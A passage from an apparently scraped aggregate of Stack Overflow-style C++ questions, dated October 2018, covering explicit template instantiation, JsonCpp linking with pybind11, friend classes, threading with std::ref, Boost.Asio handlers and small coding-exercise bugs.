    }
private:
    T _data;
};

class template Example<int>;
class template Example<float>;
class template Example<double>;

Apart from what looks like an omission error to me where a type is attempted to be assigned to a member variable -- _data = T instead of what I assume should be _data = test -- what I don't understand is what do the last 3 lines declare or instruct the compiler to do, exactly?

I've tried to compile the snippet using g++ -std=c++11 -pedantic and it compiles just fine (I corrected the omission error above first).

This came after I commented on the following answer: https://stackoverflow.com/a/14138629/254343 and I am still unsure whether either of the last 3 lines in the snippet is a template specialization or instantiation.

I also tried to grok this by attempting to understand the somewhat convoluted language of C++11 draft published by ISO at http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2011/n3242.pdf but were unsuccessful as I can't deduce what class template ... would mean here.

samedi 27 octobre 2018

Using JsonCpp to return data to python with pybind11 produces Symbol not found in python

I am attempting to use JsonCpp in order to parse some data before returning it to python (using pybind11).

I have managed to get the make file cooperating with recognizing JsonCpp, but have been unable so far to get rid of the following error when calling the method in python:

ImportError: dlopen(/PATH/REDACTED/project.cpython-36m-darwin.so, 2): Symbol not found: __ZN4Json5ValueC1ENS_9ValueTypeE

Expected in: flat namespace Referenced from: /PATH/REDACTED/project.cpython-36m-darwin.so

It appears to have an issue with anything from the JsonCpp library.

void callhome(pybind11::object site, std::string user_name)
{
    pybind11::object page = site.attr("Pages").attr("__getitem__")("User:" + user_name + "/status");
    std::string text = string(py::str(page.attr("text")()));
    Json::Value root;
   /* Json::Reader reader;
    bool parsingSuccessful = reader.parse( text, root );
    if ( !parsingSuccessful )
    {
        cout << "Error parsing the string" << endl;
    }

    const Json::Value mynames = root["run"];

    for ( int index = 0; index < mynames.size(); ++index )
    {
       // py::print()
        cout << mynames[index] << endl;
    }*/
}

Any ideas would be greatly appreciated!

Friendship between source files c++

I'm working on a Binary Search Tree, and part of the requirement is that we have to use reference to pointers. As part of that, we are required to use friendship between our BST class and Node class. However, after I include friend class BST; in the Node class, I still can't access private members in Node.

Example error: 'BST.cpp:97:32: error: 'int Node::data' is private within this context' when calling node->data.

What am I missing?

BST.h:

#include "BSTInterface.h"
#include "Node.h"
class BST : public BSTInterface
{
private:
  Node* rootNode;
  Node* find(int data);
public:
  BST() : rootNode(NULL) {}
  ~BST() {}
  Node* getRootNode() const override;
  bool add(int data) override;
  bool remove(int data) override;
  void clear() override;
};

Node.h:

#include "NodeInterface.h"

class Node : public NodeInterface
{
private:
  int data;
  Node* leftChild;
  Node* rightChild;
  friend class BST;
public:
  Node(int data) : data(data), leftChild(NULL), rightChild(NULL) {}
  ~Node() {}
  int getData() const override;
  Node* getLeftChild() const override;
  Node* getRightChild() const override;
};

Why cannot I assign a vector v in a struct?

I did some exercise on the leetcode, I find out that while I try to assign a new vector to a member in a struct, it doesn't work.

The problem happens at the 8th line of the deserialize function. I have put my question here.

/*
// Definition for a Node.
class Node {
public:
    int val = NULL;
    vector<Node*> children;

    Node() {}

    Node(int _val, vector<Node*> _children) {
        val = _val;
        children = _children;
    }
};
*/
class Codec {
public:

    // Encodes a tree to a single string.
    string serialize(Node* root) {
        if (!root) return "NULL";
        stringstream ss;
        dfs(ss, root);
        return ss.str();
    }

    // Decodes your encoded data to tree.
    Node* deserialize(string data) {
        if (data == "NULL") return nullptr;
        stringstream ss(data);
        vector<Node*> res = deserialize(ss);
        return res.front();

    }
private:
    void dfs(stringstream& ss, Node* root) {
        if (!root) {
            return;
        }
        ss << root->val << " ( ";
        for (Node* child : root->children) {
            dfs(ss, child);
        }
        ss << " ) ";
    }
    vector<Node*> deserialize(stringstream& ss) {
        vector<Node*> res;
        string s;
        while (ss.good()) {
            ss >> s;
            if (s == ")") return res;
            else if (s == "(") {
                vector<Node*> children = deserialize(ss);
                // Here is the problem, while I can use the insert to assign a new value to the vector in a struct, the directly assignment doesn't work
                res.back()->children.insert(res.back()->children.end(), children.begin(), children.end());
                // The following expression doesn't work
                // res.back()->children = children;
            } else {
                Node* node = new Node();
                node->val = stoi(s);
                res.push_back(node);
            }
        }
        return res;
    }
};

// Your Codec object will be instantiated and called as such:
// Codec codec;
// codec.deserialize(codec.serialize(root));

This is so wired. Could someone help me to figure out why this one happened?

C++ changing vector in different thread

I trying to change a vector in a different thread, but the value of the vector is not changed. I tried to search for an answer and I thought that using std::ref will fix the issue but it didn't work.

this is the code that start the threads:

std::vector<uint64_t> tmp(tmp_size);

printf("tmp size: %d\n", tmp_size);
printf("before change");
printArray(tmp);
std::thread threads[parallel_level];
for(int i = 0; i < parallel_level; i++){
    threads[i] = std::thread(binSearchMerge, std::ref(arr), std::ref(tmp), mid + 1, right, left, 0, left_size);
}

for(int i = 0; i < parallel_level; i++){
    threads[i].join();
}

printf("after join: ");
printArray(tmp);

this is the callback:

void binSearchMerge(std::vector<uint64_t>  arr, std::vector<uint64_t>  tmp, int searched_start_idx, int searched_end_idx, int merged_start_idx, int chunk_start, int chunk_end){

for(int i = chunk_start; i < chunk_end; i++){
    int arr_idx = merged_start_idx + chunk_start + i;
    bool found;
    int idx = binarySearch(arr, searched_start_idx, searched_end_idx, arr[arr_idx], &found);
    tmp[idx - searched_start_idx + i] = arr[arr_idx];
    printf("inside callback: ");
    printArray(tmp);
    }

}

and the output is:

tmp size: 2
before change 0 0
inside callback:  5800561435195166576 0
after join:  0 0

I was expecting that after the thread change the vector the values will be: inside callback: 5800561435195166576 0. isn't it passed by reference?

Replace arrays of function pointers using templates in modern c++

I have some legacy code using arrays of function pointers in order to emulate memory handlers. So I'm now trying to have the same functionality using templates. Here's what I tried so far :

template <typename R, typename ...ARGS> using function = R(*)(ARGS...);
template<size_t Size> using ReadType    = function<SizedUInt<Size>, const uint32_t>;

// arrays to redeclare
std::array<ReadType<8>,   memory_handler_size> read_8_handler_;
std::array<ReadType<16>,  memory_handler_size> read_16_handler_;
std::array<ReadType<32>,  memory_handler_size> read_32_handler_;

template<size_t Size>
void initializeReadHandler(uint32_t begin,
                           uint32_t end,
                           ReadType<Size> func) {
    begin >>= 16;
    end >>= 16;
    for (uint32_t current = begin; current <= end; ++current) {
         //read_handler_[current & 0xFFFF] = func;
    }
}

How can I declare the read handler arrays in order to initialize them using the templated initializeReadHandler() function ?
I don't want to use std::function as I can't afford performance overhead ...

Thanks for reading me !

How to instantiate a templated class with non-default constructors

Please consider the following example:

class Generator {
public:
    Generator(int n)
        : m_n(n)
    {
    }

    int f()
    {
        return m_n;
    }
private: 
    int m_n;
};

template<class BaseClass>
class Transformer : public BaseClass
{
public:
    Transformer(int mult, int add)
        : m_mult(mult)
        , m_add(add)
    {

    }

    int f()
    {
        return BaseClass::f() * m_mult + m_add;
    }

private:
    int m_add;
    int m_mult;
};

Imaging there are more Generator classes, which have different arguments in their constructors. Now I want to instantiate a class consisting of both passing all the required parameters. So I tried the following, but Generator is apparently not recognized as a base class:

class TG : public Transformer<Generator>
{
public:
    TG(int n, int mult, int add)
        : Generator(n)              // error C2614: 'TG': illegal member initialization: 'Generator' is not a base or member
        , Transformer(mult, add)
    {}
};

TG t(n,mult,add);

Next I tried template specialization:

template<> Transformer<Generator>::Transformer(int n, int mult, int add)    // error C2244: 'Transformer<Generator>::Transformer': unable to match function definition to an existing declaration
    : Transformer(mult,add)
    , Generator(n)
{};

Transformer<Generator> t(n,mult,add);

How can I instantiate a template, which has non-default constructors?

How to find a minimum and maximum value in a 2D array ROW?

I have a program that generates 10 rows and 5 columns and the user inputs data. My question is, how can I find the maximum and lowest values in each row? I have been working on this for a good hour but cannot figure this out. I have attempted to solve this many times; here is my current code.

#include <iostream>
#include <iomanip>
using namespace std;

int returnMax(int[][]);
int main() 
{
    double sales[10][5];
    string name[10];
    double highest;
    double lowest;
    double avg;
    // Populating table
    for (int row = 0; row < 1; row++) 
    {
        cout << "Enter the salesman's name: " << endl;
        cin >> name[row];
        cout << "Enter the amount of sales for the five years" << endl;
        for (int col = 0; col < 5; col++) {
            cin >> sales[row][col];
        }
    }
    cout << returnMax(sales[1][0]) << endl;
    return 0;
}

int returnMax(int a[][]) 
{
    int max;
    for (int i = 0; i < 1; i++) {
        max = a[i][0];
        for (int j = 0; j < 5; j++) {
            if (a[i][j] > max)
                max = a[i][j];
        }
    }
    return max;
}

Design Approach form C to C++ Interaction

We have a RTOS library code in C which has a for loop something like below:

int exec{}
{
    for(;;)
    {
      ...................
       getbuffer(&req) || processbuffer(&req)
       {
          error = -1;
          return error;
       }
     }
}

int getbuffer(buf *req)
{
  ......
  fn1();
  .......
}

int fn1()
{
    .................
}

In fn1 I am implementing a new code that calls a callback but cannot wait for it's execution- the callback will be called by another thread.

This is the issue - function getbuffer resumes flow resumes even before callback is called. The expected scenario is that callback should be called first followed by further execution of getbuffer flow?

How can I achieve the same?

Using Boost.Asio, is it possible to add a handler which is executed once per iteration of the event loop if there are no IO events?

I am currently writing a simple server using Boost.Asio 1.68 and I am wondering if there is a way for me to add a handler that is executed when the event loop has no other work to do.

Currently I have this:

void completionHandler (boost::asio::io_context* ioCtx){
  // poll for some condition
  // if (condition) do some work;
  ioCtx->post(boost::bind(completionHandler, ioCtx));
}

//elsewhere
ioCtx->post(boost::bind(completionHandler, ioCtx));

However, this doesn't exactly match what I want to do.

What is the difference between the two codes in C++?

I was trying the problem Hash Tables: Ice Cream Parlor on Hackerrank. It is a simple question, but here is the bizzare situation i got to. How does the change of data structure matter? Case 1:

void whatFlavors(vector<int> cost, int money) {
    int ans1,ans2;
    vector<int> arr(100,0);          //notice this
    for(int i=0;i<cost.size();i++){
        if(arr[money-cost[i]]!=0){
            ans1=i+1;ans2=arr[abs(money-cost[i])];
            if(ans1>ans2){
                cout<<ans2<<" "<<ans1<<endl;
            }else{
                cout<<ans2<<" "<<ans1<<endl;
            }
            break;
        }
        else{
            arr[cost[i]]=i+1;
        }
    }
}

And output is: enter image description here

Case 2: code:

void whatFlavors(vector<int> cost, int money) {
    int arr[100]={0}; //notice this
    int ans1,ans2;
    for(int i=0;i<cost.size();i++){
        if(arr[money-cost[i]]!=0){
            ans1=i+1;ans2=arr[abs(money-cost[i])];
            if(ans1>ans2){
                cout<<ans2<<" "<<ans1<<endl;
            }else{
                cout<<ans2<<" "<<ans1<<endl;
            }
            break;
        }
        else{
            arr[cost[i]]=i+1;
        }
    }

}

output: enter image description here